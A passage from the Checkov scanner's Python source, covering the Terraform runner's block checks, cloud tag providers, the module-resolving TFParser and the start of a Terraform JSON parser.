block_type == "module": if not self.definitions: # no need to proceed continue # modules don't have a type, just a name for module_name, module_config in block_configs.items(): # append the skipped checks also from a module to another module module_config["skipped_checks"] += skipped_checks module_context = next( m for m in self.definitions.get(resolved_paths[ind], {}).get(block_type, []) if module_name in m ) recursive_resolved_paths = module_context.get(module_name).get(RESOLVED_MODULE_ENTRY_NAME) self.push_skipped_checks_down(definition_context, skipped_checks, recursive_resolved_paths) else: # there may be multiple resource types - aws_bucket, etc for resource_configs in block_configs.values(): # there may be multiple names for each resource type for resource_config in resource_configs.values(): # append the skipped checks from the module to the other resources. resource_config["skipped_checks"] += skipped_checks def run_all_blocks( self, definition: dict[str, list[dict[str, Any]]], definitions_context: _TerraformContext, full_file_path: TFDefinitionKey, root_folder: str | None, report: Report, scanned_file: str, runner_filter: RunnerFilter, module_referrer: str | None, ) -> None: if not definition: logging.debug(f"Empty definition, skipping run (root_folder={root_folder})") return block_types = set(definition.keys()) for block_type in block_types & CHECK_BLOCK_TYPES: self.run_block( definition[block_type], definitions_context, full_file_path, root_folder, report, scanned_file, block_type, runner_filter, None, module_referrer, ) def run_block( self, entities: list[dict[str, Any]], definition_context: _TerraformContext, full_file_path: TFDefinitionKey, root_folder: str | None , report: Report, scanned_file: str, block_type: str, runner_filter: RunnerFilter, entity_context_path_header: str | None = None, module_referrer: str | None = None, ) -> None: registry = self.block_type_registries[block_type] if not registry: return for entity in entities: virtual_resources = entity.get("virtual_resources") if (env_vars_config.RAW_TF_IN_GRAPH_ENV and virtual_resources and isinstance(virtual_resources, list) and len(virtual_resources) > 0): # We want to skip violations for raw TF resources and keep only virtual one's. The raw resource # should have an array of attached virtual resources so we check it and skip if needed continue entity_evaluations = None context_parser = parser_registry.context_parsers[block_type] definition_path = context_parser.get_entity_context_path(entity) (entity_type, entity_name, entity_config) = registry.extract_entity_details(entity) caller_file_path = None caller_file_line_range = None entity_id = entity_config.get(CustomAttributes.TF_RESOURCE_ADDRESS) module_full_path, _ = get_module_from_full_path(full_file_path) if module_full_path: module_name = get_module_name(full_file_path) if not module_name: full_definition_path = entity_id.split(".") try: module_name_index = ( len(full_definition_path) - full_definition_path[::-1][1:].index(BlockType.MODULE) - 1 ) # the next item after the last 'module' prefix is the module name except ValueError as e: # TODO handle multiple modules with the same name in repo logging.warning(f"Failed to get module name for resource {entity_id}. {str(e)}") continue module_name = full_definition_path[module_name_index] caller_context = definition_context.get(module_full_path, {}).get(BlockType.MODULE, {}).get(module_name) if not caller_context: continue caller_file_line_range = (caller_context.get("start_line", 1), caller_context.get("end_line", 1)) abs_caller_file = get_abs_path(module_full_path) caller_file_path = f"{os.sep}{os.path.relpath(abs_caller_file, root_folder)}" if entity_context_path_header is None: entity_context_path = [block_type] + definition_path else: # TODO: check, if this code part is still used entity_context_path = [entity_context_path_header, block_type] + definition_path # Entity can exist only once per dir, for file as well context_path = full_file_path try: entity_context = data_structures_utils.get_inner_dict( definition_context[context_path], entity_context_path, ) entity_lines_range = [entity_context.get("start_line", 1), entity_context.get("end_line", 1)] entity_code_lines = entity_context.get("code_lines", []) skipped_checks = entity_context.get("skipped_checks") except KeyError: # TODO: Context info isn't working for modules entity_lines_range = [1, 1] entity_code_lines = [] skipped_checks = None if full_file_path in self.evaluations_context: variables_evaluations = {} for var_name, context_info in self.evaluations_context.get(full_file_path, {}).items(): variables_evaluations[var_name] = dataclasses.asdict(context_info) entity_evaluations = BaseVariableEvaluation.reduce_entity_evaluations( variables_evaluations, entity_context_path ) self._assign_correct_graph_to_registry(registry, scanned_file) results = registry.scan(scanned_file, entity, skipped_checks, runner_filter) absolute_scanned_file_path = get_abs_path(full_file_path) # This duplicates a call at the start of scan, but adding this here seems better than kludging with some tuple return type tags = get_resource_tags(entity_type, entity_config) if results: for check, check_result in results.items(): censored_code_lines = omit_secret_value_from_checks( check=check, check_result=check_result, entity_code_lines=entity_code_lines, entity_config=entity_config, resource_attributes_to_omit=runner_filter.resource_attr_to_omit, ) record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=check_result, code_block=censored_code_lines, file_path=scanned_file, file_line_range=entity_lines_range, resource=entity_id, evaluations=entity_evaluations, check_class=check.__class__.__module__, file_abs_path=absolute_scanned_file_path, entity_tags=tags, caller_file_path=caller_file_path, caller_file_line_range=caller_file_line_range, severity=check.severity, bc_category=check.bc_category, benchmarks=check.benchmarks, details=check.details, definition_context_file_path=full_file_path.file_path, ) if self.breadcrumbs: entity_key = entity_id breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(entity_key) if breadcrumb: record = GraphRecord(record, breadcrumb) record.set_guideline(check.guideline) report.add_record(record=record) else: if block_type == "resource": # resources without checks, but not existing ones report.extra_resources.add( ExtraResource( file_abs_path=absolute_scanned_file_path, file_path=scanned_file, resource=entity_id, ) ) def _assign_correct_graph_to_registry(self, registry: BaseCheckRegistry, scanned_file: str) -> None: registry.graph = None if self.all_graphs and isinstance(self.all_graphs, list): if len(self.all_graphs) == 1: graph_obj = self.all_graphs[0] if graph_obj and isinstance(graph_obj, tuple): registry.graph = graph_obj[0] # type: ignore[assignment] else: for graph_obj in self.all_graphs: if isinstance(graph_obj, tuple) and isinstance(graph_obj[1], str) and scanned_file.startswith(graph_obj[1]): registry.graph = graph_obj[0] # type: ignore[assignment] break def get_entity_context_and_evaluations(self, entity: dict[str, Any]) -> dict[str, Any] | None: block_type = entity[CustomAttributes.BLOCK_TYPE] tf_source_module_obj = entity.get(CustomAttributes.SOURCE_MODULE_OBJECT) if isinstance(tf_source_module_obj, dict): tf_source_module_obj = TFModule.from_json(tf_source_module_obj) full_file_path = TFDefinitionKey( file_path=entity[CustomAttributes.FILE_PATH], tf_source_modules=tf_source_module_obj ) definition_path = entity[CustomAttributes.BLOCK_NAME].split(".") entity_context_path = [block_type] + definition_path try: entity_context = self.context[full_file_path] # type:ignore[index] # at this point self.context is set for k in entity_context_path: if k in entity_context: entity_context = entity_context[k] else: logging.warning(f'Failed to find context for {".".join(entity_context_path)}') return None entity_context["definition_path"] = definition_path except KeyError: logging.error(f"Did not find context for key {full_file_path}") return {} return entity_context ================================================ FILE: checkov/terraform/tag_providers/__init__.py ================================================ from typing import Dict, Any, Optional from checkov.terraform.tag_providers import aws from checkov.terraform.tag_providers import azure from checkov.terraform.tag_providers import gcp provider_tag_mapping = {"aws": aws.get_resource_tags, "azure": azure.get_resource_tags, "gcp": gcp.get_resource_tags, "google": gcp.get_resource_tags} def get_resource_tags(resource_type: str, entity_config: Dict[str, Any]) -> Optional[Dict[str, Any]]: if not isinstance(entity_config, dict): return None provider_tag = get_provider_tag(resource_type) provider_tag_function = provider_tag_mapping.get(provider_tag) if provider_tag else None if provider_tag_function: return provider_tag_function(entity_config) else: return None def get_provider_tag(resource_type: str) -> Optional[str]: provider_tag = None if 'aws' in resource_type: provider_tag = "aws" elif 'azure' in resource_type: provider_tag = "azure" elif 'gcp' in resource_type or 'google' in resource_type: provider_tag = "gcp" return provider_tag ================================================ FILE: checkov/terraform/tag_providers/aws.py ================================================ from typing import Dict, List, Any, Optional from checkov.common.util.type_forcers import force_dict def get_resource_tags(entity_config: Dict[str, List[Any]]) -> Optional[Dict[str, Any]]: return force_dict(entity_config.get("tags")) ================================================ FILE: checkov/terraform/tag_providers/azure.py ================================================ from typing import Dict, List, Any, Optional from checkov.common.util.type_forcers import force_dict def get_resource_tags(entity_config: Dict[str, List[Any]]) -> Optional[Dict[str, Any]]: return force_dict(entity_config.get("tags")) ================================================ FILE: checkov/terraform/tag_providers/gcp.py ================================================ from typing import Dict, List, Any, Optional from checkov.common.util.type_forcers import force_dict def get_resource_tags(entity_config: Dict[str, List[Any]]) -> Optional[Dict[str, Any]]: return force_dict(entity_config.get("labels")) ================================================ FILE: checkov/terraform/tf_parser.py ================================================ from __future__ import annotations import logging import os from collections import defaultdict from typing import Optional, Dict, Mapping, Set, Tuple, Callable, Any, List, cast, TYPE_CHECKING, overload from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.common.runners.base_runner import filter_ignored_paths, IGNORE_HIDDEN_DIRECTORY_ENV from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR, RESOLVED_MODULE_ENTRY_NAME from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.deep_merge import pickle_deep_merge from checkov.common.util.type_forcers import force_list from checkov.common.variables.context import EvaluationContext from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.graph_components.module import Module from checkov.terraform.module_loading.content import ModuleContent from checkov.terraform.module_loading.registry import module_loader_registry as default_ml_registry, \ ModuleLoaderRegistry from checkov.terraform.module_loading.module_finder import load_tf_modules from checkov.common.util.parser_utils import is_acceptable_module_param from checkov.terraform.modules.module_utils import safe_index, \ remove_module_dependency_from_path, clean_parser_types, serialize_definitions from checkov.terraform.modules.module_objects import TFModule, TFDefinitionKey from checkov.terraform.parser_utils import load_or_die_quietly if TYPE_CHECKING: from typing_extensions import TypeGuard def _filter_ignored_paths(root: str, paths: list[str], excluded_paths: list[str] | None) -> None: filter_ignored_paths(root, paths, excluded_paths) for path in force_list(paths): if path == default_ml_registry.external_modules_folder_name: paths.remove(path) class TFParser: def __init__(self, module_class: type[Module] = Module) -> None: self.module_class = module_class self._parsed_directories: set[str] = set() self.external_modules_source_map: Dict[Tuple[str, str], str] = {} self.module_address_map: Dict[Tuple[str, str], str] = {} self.loaded_files_map: dict[str, dict[str, list[dict[str, Any]]] | None] = {} self.external_vars: dict[str, dict[str, tuple[Any, str]]] = {} self.temp_tf_definition: dict[str, Any] = {} def _init(self, directory: str, out_evaluations_context: Dict[TFDefinitionKey, Dict[str, EvaluationContext]] | None, out_parsing_errors: Dict[str, Exception] | None, env_vars: Mapping[str, str] | None, download_external_modules: Optional[bool], external_modules_download_path: str, excluded_paths: Optional[List[str]] = None, tf_var_files: Optional[List[str]] = None) -> None: self.directory = directory self.out_definitions: dict[TFDefinitionKey, dict[str, list[dict[str, Any]]]] = {} self.out_evaluations_context = {} if out_evaluations_context is None else out_evaluations_context self.out_parsing_errors = {} if out_parsing_errors is None else out_parsing_errors self.env_vars = dict(os.environ) if env_vars is None else env_vars self.download_external_modules = download_external_modules self.external_modules_download_path = external_modules_download_path self.external_modules_source_map = {} self.module_address_map = {} self.tf_var_files = tf_var_files self.dirname_cache: dict[str, str] = {} self.excluded_paths = excluded_paths self.visited_definition_keys: set[TFDefinitionKey] = set() self.module_to_resolved: dict[tuple[TFDefinitionKey | None, str], list[TFDefinitionKey]] = {} self.keys_to_remove: set[TFDefinitionKey] = set() def _check_process_dir(self, directory: str) -> bool: if directory not in self._parsed_directories: self._parsed_directories.add(directory) return True else: return False def parse_directory( self, directory: str, out_evaluations_context: Dict[TFDefinitionKey, Dict[str, EvaluationContext]] | None = None, out_parsing_errors: Dict[str, Exception] | None = None, env_vars: Mapping[str, str] | None = None, download_external_modules: Optional[bool] = False, external_modules_download_path: str = DEFAULT_EXTERNAL_MODULES_DIR, excluded_paths: Optional[List[str]] = None, vars_files: Optional[List[str]] = None, external_modules_content_cache: Optional[Dict[str, ModuleContent | None]] = None, ) -> dict[TFDefinitionKey, dict[str, list[dict[str, Any]]]]: self._init(directory, out_evaluations_context, out_parsing_errors, env_vars, download_external_modules, external_modules_download_path, excluded_paths) self._parsed_directories.clear() default_ml_registry.root_dir = directory default_ml_registry.download_external_modules = download_external_modules default_ml_registry.external_modules_folder_name = external_modules_download_path default_ml_registry.module_content_cache = external_modules_content_cache if external_modules_content_cache else {} load_tf_modules(directory, loaded_files_cache=self.loaded_files_map, parsing_errors=self.out_parsing_errors, excluded_paths=self.excluded_paths) self._parse_directory(dir_filter=lambda d: self._check_process_dir(d), vars_files=vars_files) self._update_resolved_modules() return self.out_definitions def parse_file(self, file: str, parsing_errors: dict[str, Exception]) -> Optional[Dict[str, Any]]: if file.endswith(".tf") or file.endswith(".tf.json") or file.endswith(".hcl"): parse_result = load_or_die_quietly(file, parsing_errors) if parse_result: parse_result = serialize_definitions(parse_result) parse_result = clean_parser_types(parse_result) return parse_result return None def _parse_directory(self, include_sub_dirs: bool = True, module_loader_registry: ModuleLoaderRegistry = default_ml_registry, dir_filter: Callable[[str], bool] = lambda _: True, vars_files: Optional[List[str]] = None) -> None: keys_referenced_as_modules: set[TFDefinitionKey] = set() if include_sub_dirs: for sub_dir, d_names, _ in os.walk(self.directory): _filter_ignored_paths(sub_dir, d_names, self.excluded_paths) if dir_filter(os.path.abspath(sub_dir)): self._internal_dir_load(sub_dir, module_loader_registry, dir_filter, keys_referenced_as_modules, vars_files=vars_files, excluded_paths=self.excluded_paths) else: self._internal_dir_load(self.directory, module_loader_registry, dir_filter, keys_referenced_as_modules, vars_files=vars_files) for key in keys_referenced_as_modules: if key in self.out_definitions: del self.out_definitions[key] def _internal_dir_load( self, directory: str, module_loader_registry: ModuleLoaderRegistry, dir_filter: Callable[[str], bool], keys_referenced_as_modules: set[TFDefinitionKey], specified_vars: Optional[Mapping[str, str]] = None, vars_files: Optional[List[str]] = None, excluded_paths: Optional[List[str]] = None, nested_modules_data: dict[str, Any] | None = None, ) -> None: dir_contents = list(os.scandir(directory)) if excluded_paths or IGNORE_HIDDEN_DIRECTORY_ENV: filter_ignored_paths(directory, dir_contents, excluded_paths) tf_files_to_load = self.handle_variables(dir_contents, vars_files, specified_vars) files_to_data = self._load_files(tf_files_to_load) for file, data in sorted(files_to_data, key=lambda x: x[0]): if not data: continue self.out_definitions[TFDefinitionKey(file)] = data force_final_module_load = False for i in range(0, 10): logging.debug(f"Module load loop {i}") dir_filter(directory) has_more_modules = self._load_modules( directory, module_loader_registry, dir_filter, keys_referenced_as_modules, force_final_module_load, nested_modules_data=nested_modules_data ) made_var_changes = False if not has_more_modules: break elif not made_var_changes: force_final_module_load = True def _load_files( self, files: list[str], ) -> list[tuple[str, dict[str, list[dict[str, Any]]] | None]]: def _load_file( file: str ) -> tuple[tuple[str, dict[str, list[dict[str, Any]]] | None], dict[str, Exception]]: parsing_errors: dict[str, Exception] = {} result = load_or_die_quietly(file, parsing_errors) for path, e in parsing_errors.items(): parsing_errors[path] = e return (file, result), parsing_errors files_to_data: list[tuple[str, dict[str, list[dict[str, Any]]] | None]] = [] files_to_parse = [] for file in files: data = self.loaded_files_map.get(file) if data: files_to_data.append((file, data)) else: files_to_parse.append(file) results = [_load_file(f) for f in files_to_parse] for result, parsing_errors in results: self.out_parsing_errors.update(parsing_errors) files_to_data.append(result) if result[0] not in self.loaded_files_map: self.loaded_files_map[result[0]] = result[1] return files_to_data def _load_modules(self, root_dir: str, module_loader_registry: ModuleLoaderRegistry, dir_filter: Callable[[str], bool], keys_referenced_as_modules: Set[TFDefinitionKey], ignore_unresolved_params: bool = False, nested_modules_data: dict[str, Any] | None = None) -> bool: all_module_definitions: dict[TFDefinitionKey, dict[str, list[dict[str, Any]]]] = {} skipped_a_module = False for file in list(self.out_definitions.keys()): if not self.should_loaded_file(file, root_dir): continue # Dont run over the nested because we already run on them - dont remove. if file.tf_source_modules: continue file_data = self.out_definitions.get(file) if file_data is None: continue module_calls = file_data.get("module") if not module_calls or not isinstance(module_calls, list): continue for module_call in module_calls: if not isinstance(module_call, dict): continue for module_call_name, module_call_data in module_call.items(): if not isinstance(module_call_data, dict): continue file_key = self.get_file_key_with_nested_data(file, nested_modules_data) current_nested_data = (file_key, module_call_name) resolved_loc_list = [] if current_nested_data in self.module_to_resolved: resolved_loc_list = self.module_to_resolved[current_nested_data] self.module_to_resolved[current_nested_data] = resolved_loc_list specified_vars = { k: v[0] if isinstance(v, list) and v else v for k, v in module_call_data.items() if k != "source" and k != "version" } skip_module = self.should_skip_a_module(specified_vars, ignore_unresolved_params) if skip_module: # keep module skip info till the end skipped_a_module = True continue version = self.get_module_version(module_call_data) source = self.get_module_source(module_call_data, module_call_name, file) if not source: continue try: content_path = self.get_content_path(module_loader_registry, root_dir, source, version) if not content_path: continue new_nested_modules_data = {'module_name': module_call_name, 'file': file, 'nested_modules_data': nested_modules_data} self._internal_dir_load( directory=content_path, module_loader_registry=module_loader_registry, dir_filter=dir_filter, specified_vars=specified_vars, keys_referenced_as_modules=keys_referenced_as_modules, nested_modules_data=new_nested_modules_data ) module_definitions = { path: definition for path, definition in self.out_definitions.items() if self.get_dirname(path) == content_path and not path.tf_source_modules } if not module_definitions: continue keys = list(module_definitions.keys()) for key in keys: if not self.should_process_key(key, file): continue keys_referenced_as_modules.add(key) new_key = self.get_new_nested_module_key(key, file, module_call_name, nested_modules_data) if new_key in self.visited_definition_keys: del module_definitions[key] del self.out_definitions[key] continue module_definitions[new_key] = module_definitions[key] del module_definitions[key] del self.out_definitions[key] self.keys_to_remove.add(key) self.visited_definition_keys.add(new_key) if new_key not in resolved_loc_list: resolved_loc_list.append(new_key) if all_module_definitions: pickle_deep_merge(all_module_definitions, module_definitions) else: all_module_definitions = module_definitions self.external_modules_source_map[(source, version)] = content_path except Exception as e: logging.warning( f"Unable to load module - source: {source}, version: {version}, error: {str(e)}") if all_module_definitions: pickle_deep_merge(self.out_definitions, all_module_definitions) return skipped_a_module def parse_hcl_module( self, source_dir: str, source: str, download_external_modules: Optional[bool] = False, external_modules_download_path: str = DEFAULT_EXTERNAL_MODULES_DIR, parsing_errors: dict[str, Exception] | None = None, excluded_paths: list[str] | None = None, vars_files: list[str] | None = None, external_modules_content_cache: dict[str, ModuleContent | None] | None = None, ) -> tuple[Module, dict[TFDefinitionKey, dict[str, Any]]]: tf_definitions = self.parse_directory( directory=source_dir, out_evaluations_context={}, out_parsing_errors=parsing_errors if parsing_errors is not None else {}, download_external_modules=download_external_modules, external_modules_download_path=external_modules_download_path, excluded_paths=excluded_paths, vars_files=vars_files, external_modules_content_cache=external_modules_content_cache ) tf_definitions = clean_parser_types(tf_definitions) tf_definitions = serialize_definitions(tf_definitions) module, tf_definitions = self.parse_hcl_module_from_tf_definitions(tf_definitions, source_dir, source) return module, tf_definitions def parse_multi_graph_hcl_module( self, source_dir: str, source: str, download_external_modules: Optional[bool] = False, external_modules_download_path: str = DEFAULT_EXTERNAL_MODULES_DIR, parsing_errors: dict[str, Exception] | None = None, excluded_paths: list[str] | None = None, vars_files: list[str] | None = None, external_modules_content_cache: dict[str, ModuleContent | None] | None = None, ) -> list[tuple[Module, list[dict[TFDefinitionKey, dict[str, Any]]]]]: """ This function is similar to parse_hcl_module, except that it creates a list of tuples instead of a single tuple. The objective is to create a collection of TF definitions based on directory, instead of a single big structure. This will allow us to boost performance by running on several smaller objects rather than a single one. """ tf_definitions = self.parse_directory( directory=source_dir, out_evaluations_context={}, out_parsing_errors=parsing_errors if parsing_errors is not None else {}, download_external_modules=download_external_modules, external_modules_download_path=external_modules_download_path, excluded_paths=excluded_paths, vars_files=vars_files, external_modules_content_cache=external_modules_content_cache ) tf_definitions = clean_parser_types(tf_definitions) tf_definitions = serialize_definitions(tf_definitions) dirs_to_definitions = self.create_definition_by_dirs(tf_definitions) definitions_dir_and_source_iterable = [(definitions, source_path, source) for source_path, definitions in dirs_to_definitions.items()] modules_and_definitions_tuple: list[tuple[Module, list[dict[TFDefinitionKey, dict[str, Any]]]]] = \ list(parallel_runner.run_function(self.parse_hcl_module_from_multi_tf_definitions, definitions_dir_and_source_iterable)) return modules_and_definitions_tuple def create_definition_by_dirs(self, tf_definitions: dict[TFDefinitionKey, dict[str, list[dict[str, Any]]]] ) -> dict[str, list[dict[TFDefinitionKey, dict[str, Any]]]]: dirs_to_definitions: dict[str, list[dict[TFDefinitionKey, dict[str, Any]]]] = defaultdict(list) for tf_definition_key, tf_value in tf_definitions.items(): source_module = tf_definition_key.tf_source_modules if source_module is None: # No module - add new entry to dirs_to_definitions with the path as key dir_path = os.path.dirname(tf_definition_key.file_path) dirs_to_definitions[dir_path].append({tf_definition_key: tf_value}) else: # iterate over nested modules while adding directories on the way while source_module is not None: if source_module.nested_tf_module is None: dir_path = os.path.dirname(source_module.path) dirs_to_definitions[dir_path].append({tf_definition_key: tf_value}) source_module = source_module.nested_tf_module return dirs_to_definitions def _remove_unused_path_recursive(self, path: TFDefinitionKey) -> None: self.out_definitions.pop(path, None) for key in list(self.module_to_resolved.keys()): file_key = None if isinstance(key[0], TFDefinitionKey): file_key = key[0] elif key[0] is not None: file_key, module_index, module_name = key if path == file_key: for resolved_path in self.module_to_resolved[key]: self._remove_unused_path_recursive(resolved_path) self.module_to_resolved.pop(key, None) def _update_resolved_modules(self) -> None: for key in list(self.module_to_resolved.keys()): file_key, module_name = key if file_key in self.keys_to_remove: for path in self.module_to_resolved[key]: self._remove_unused_path_recursive(path) self.module_to_resolved.pop(key, None) for key, resolved_list in self.module_to_resolved.items(): file_key, module_name = key if file_key not in self.out_definitions: continue idx = self.get_idx_by_module_name(self.out_definitions[file_key]['module'], module_name) if idx is None: continue self.out_definitions[file_key]['module'][idx][module_name][RESOLVED_MODULE_ENTRY_NAME] = resolved_list @staticmethod def get_idx_by_module_name(module_data_list: list[dict[str, Any]], module_name: str) -> int | None: for idx, module_data in enumerate(module_data_list): if module_name in module_data: return idx return None @overload def parse_hcl_module_from_tf_definitions( self, tf_definitions: dict[str, dict[str, Any]], source_dir: str, source: str, ) -> tuple[Module, dict[str, dict[str, Any]]]: ... @overload def parse_hcl_module_from_tf_definitions( self, tf_definitions: dict[TFDefinitionKey, dict[str, Any]], source_dir: str, source: str, ) -> tuple[Module, dict[TFDefinitionKey, dict[str, Any]]]: ... def parse_hcl_module_from_tf_definitions( self, tf_definitions: dict[str, dict[str, Any]] | dict[TFDefinitionKey, dict[str, Any]], source_dir: str, source: str, ) -> tuple[Module, dict[str, dict[str, Any]] | dict[TFDefinitionKey, dict[str, Any]]]: module = self.get_new_module( source_dir=source_dir, external_modules_source_map=self.external_modules_source_map, ) self.add_tfvars(module, source) copy_of_tf_definitions = pickle_deepcopy(tf_definitions) module.temp_tf_definition = tf_definitions # type:ignore # will be TFDefinitionKey and not string for file_path, blocks in copy_of_tf_definitions.items(): for block_type in blocks: try: module.add_blocks(block_type, blocks[block_type], file_path, source) except Exception as e: logging.warning(f'Failed to add block {blocks[block_type]}. Error:') logging.warning(e, exc_info=False) return module, tf_definitions def parse_hcl_module_from_multi_tf_definitions( self, tf_definitions: list[dict[TFDefinitionKey, dict[str, Any]]], source_dir: str, source: str, ) -> tuple[Module, list[dict[TFDefinitionKey, dict[str, Any]]]]: module = self.get_new_module( source_dir=source_dir, external_modules_source_map=self.external_modules_source_map, ) self.add_tfvars(module, source) copy_of_tf_definitions = pickle_deepcopy(tf_definitions) for tf_def in copy_of_tf_definitions: for file_path, blocks in tf_def.items(): for block_type in blocks: try: module.add_blocks(block_type, blocks[block_type], file_path, source) except Exception as e: logging.warning(f'Failed to add block {blocks[block_type]}. Error:') logging.warning(e, exc_info=False) return module, tf_definitions def get_file_key_with_nested_data( self, file: TFDefinitionKey | None, nested_data: dict[str, Any] | None ) -> TFDefinitionKey | None: if not nested_data or file is None: return file nested_str = self.get_file_key_with_nested_data(nested_data.get("file"), nested_data.get('nested_modules_data')) nested_module_name = nested_data.get('module_name') return get_tf_definition_object_from_module_dependency(file, nested_str, nested_module_name) def get_new_nested_module_key( self, key: TFDefinitionKey, file: TFDefinitionKey | None, module_name: str | None, nested_data: Optional[dict[str, Any]] ) -> TFDefinitionKey: if not nested_data or not file: return get_tf_definition_object_from_module_dependency(key, file, module_name) visited_key_to_add = get_tf_definition_object_from_module_dependency(key, file, module_name) self.visited_definition_keys.add(visited_key_to_add) nested_key = self.get_new_nested_module_key(file, nested_data.get('file'), nested_data.get('module_name'), nested_data.get('nested_modules_data')) return get_tf_definition_object_from_module_dependency(key, nested_key, module_name) def add_tfvars(self, module: Module, source: str) -> None: if not self.external_vars: return for load_dir, i in self.external_vars.items(): for name, (default, path) in i.items(): block = [{name: {'default': default, 'load_dir': load_dir}}] module.add_blocks(BlockType.TF_VARIABLE, block, path, source) def get_dirname(self, path: TFDefinitionKey) -> str: file_path = path.file_path dirname_path = self.dirname_cache.get(file_path) if not dirname_path: dirname_path = os.path.dirname(file_path) self.dirname_cache[file_path] = dirname_path return dirname_path def should_loaded_file(self, file: TFDefinitionKey, root_dir: str) -> bool: return not self.get_dirname(file) != root_dir def get_module_source( self, module_call_data: dict[str, Any], module_call_name: str, file: TFDefinitionKey ) -> Optional[str]: source = module_call_data.get("source") if not source or not isinstance(source, list): return None source = source[0] if not self.is_valid_source(source, module_call_name): return None if source.startswith("./") or source.startswith("../"): file_to_load = file.file_path source = os.path.normpath( os.path.join(os.path.dirname(remove_module_dependency_from_path(file_to_load)), source)) return source def handle_variables( self, dir_contents: list[os.DirEntry[str]], vars_files: None | list[str], specified_vars: Mapping[str, str] | None, ) -> list[str]: tf_files_to_load = [] hcl_tfvars: Optional[str] = None json_tfvars: Optional[str] = None auto_vars_files: List[str] = [] external_vars: dict[str, tuple[Any, str]] = {} if not dir_contents: return [] for file in dir_contents: try: if not file.is_file(): continue except OSError: continue if file.name == "terraform.tfvars.json": json_tfvars = file.path elif file.name == "terraform.tfvars": hcl_tfvars = file.path elif file.name.endswith(".auto.tfvars.json") or file.name.endswith(".auto.tfvars"): auto_vars_files.append(file.path) elif file.name.endswith(".tf") or file.name.endswith('.hcl'): # TODO: add support for .tf.json tf_files_to_load.append(file.path) # Terraform Variable Definition Precedence # 1. Environment vars for key, value in self.env_vars.items(): if key.startswith('TF_VAR_'): external_vars[key[7:]] = (value, f'env:{key}') # 2. terraform.tfvars if hcl_tfvars: # terraform.tfvars data = load_or_die_quietly(hcl_tfvars, self.out_parsing_errors, clean_definitions=False) if data: for k, v in data.items(): external_vars[k] = (safe_index(v, 0), hcl_tfvars) # 3. terraform.tfvars.json if json_tfvars: # terraform.tfvars.json data = load_or_die_quietly(json_tfvars, self.out_parsing_errors) if data: for k, v in data.items(): external_vars[k] = (v, json_tfvars) # 4. *.auto.tfvars / *.auto.tfvars.json auto_var_files_to_data = self._load_files(auto_vars_files) for var_file, data in sorted(auto_var_files_to_data, key=lambda x: x[0]): if data: for k, v in data.items(): external_vars[k] = (v, var_file) # 5. --var-file arguments if vars_files: for var_file, data in self._load_files(vars_files): if data: for k, v in data.items(): external_vars[k] = (v, var_file) # Prevent specified vars from being overridden by tfvars if specified_vars: for k in specified_vars.keys(): if k in external_vars: del external_vars[k] if external_vars: self.external_vars[os.path.dirname(dir_contents[0].path)] = external_vars return tf_files_to_load @staticmethod def get_module_version(module_call_data: dict[str, Any]) -> str: version = module_call_data.get("version", "latest") if version and isinstance(version, list): version = version[0] return cast(str, version) @staticmethod def should_process_key(key: TFDefinitionKey, file: TFDefinitionKey) -> bool: return bool(not key.tf_source_modules or file.tf_source_modules) @staticmethod def is_valid_source(source: Any, module_call_name: str) -> TypeGuard[str]: if not isinstance(source, str): logging.debug(f"Skipping loading of {module_call_name} as source is not a string, it is: {source}") return False elif source in ['./', '.']: logging.debug(f"Skipping loading of {module_call_name} as source is the current dir") return False return True @staticmethod def should_skip_a_module(specified_vars: dict[str, Any], ignore_unresolved_params: bool) -> bool: if not ignore_unresolved_params: has_unresolved_params = False for k, v in specified_vars.items(): if not is_acceptable_module_param(v) or not is_acceptable_module_param(k): has_unresolved_params = True break if has_unresolved_params: return True return False @staticmethod def get_content_path(module_loader_registry: ModuleLoaderRegistry, root_dir: str, source: str, version: str) -> \ Optional[str]: content = module_loader_registry.load(root_dir, source, version) if not content or not content.loaded(): logging.info(f'Got no content for {source}:{version}') return None return content.path() @staticmethod def get_new_module( source_dir: str, external_modules_source_map: dict[tuple[str, str], str], ) -> Module: return Module( source_dir=source_dir, external_modules_source_map=external_modules_source_map, ) def is_nested_object(full_path: TFDefinitionKey) -> bool: return True if full_path.tf_source_modules else False def get_tf_definition_object_from_module_dependency( path: TFDefinitionKey, module_dependency: TFDefinitionKey | None, module_dependency_name: str | None ) -> TFDefinitionKey: if not module_dependency: return path if not is_nested_object(module_dependency): return TFDefinitionKey(path.file_path, TFModule(path=module_dependency.file_path, name=module_dependency_name)) return TFDefinitionKey(path.file_path, TFModule(path=module_dependency.file_path, name=module_dependency_name, nested_tf_module=module_dependency.tf_source_modules)) ================================================ FILE: checkov/terraform_json/__init__.py ================================================ ================================================ FILE: checkov/terraform_json/parser.py ================================================ from __future__ import annotations import itertools import logging from pathlib import Path from typing import Any from yaml.scanner import ScannerError from yaml import YAMLError from checkov.common.parsers.json import parse as json_parse from checkov.common.parsers.yaml import loader from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.consts import LINE_FIELD_NAMES from checkov.common.util.file_utils import read_file_with_any_encoding from checkov.terraform.graph_builder.graph_components.block_types import BlockType COMMENT_FIELD_NAME = "//" IGNORE_FILED_NAMES = {COMMENT_FIELD_NAME} | LINE_FIELD_NAMES SIMPLE_TYPES = (str, int, float, bool) logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) def parse(file_path: Path) -> tuple[dict[str, Any], list[tuple[int, str]]] | tuple[None, None]: """Parse file to dict object""" template = None template_lines = None try: template, template_lines = loads(file_path=file_path) except IOError as e: if e.errno == 2: logger.error(f"Template file not found: {file_path}") elif e.errno == 21: logger.error(f"Template references a directory, not a file: {file_path}") elif e.errno == 13: logger.error(f"Permission denied when accessing template file: {file_path}") except UnicodeDecodeError: logger.error(f"Cannot read file contents: {file_path}") except ScannerError as err: if err.problem in ("found character '\\t' that cannot start any token", "found unknown escape character"): try: result = json_parse(file_path, allow_nulls=False) if result: template, template_lines = result # type:ignore[assignment] # this is handled by the next line if isinstance(template, list): # should not happen and is more relevant for type safety template = template[0] except Exception: logger.error(f"Template {file_path} is malformed: {err.problem}") logger.error(f"Tried to parse {file_path} as JSON", exc_info=True) except YAMLError: pass if template is None or 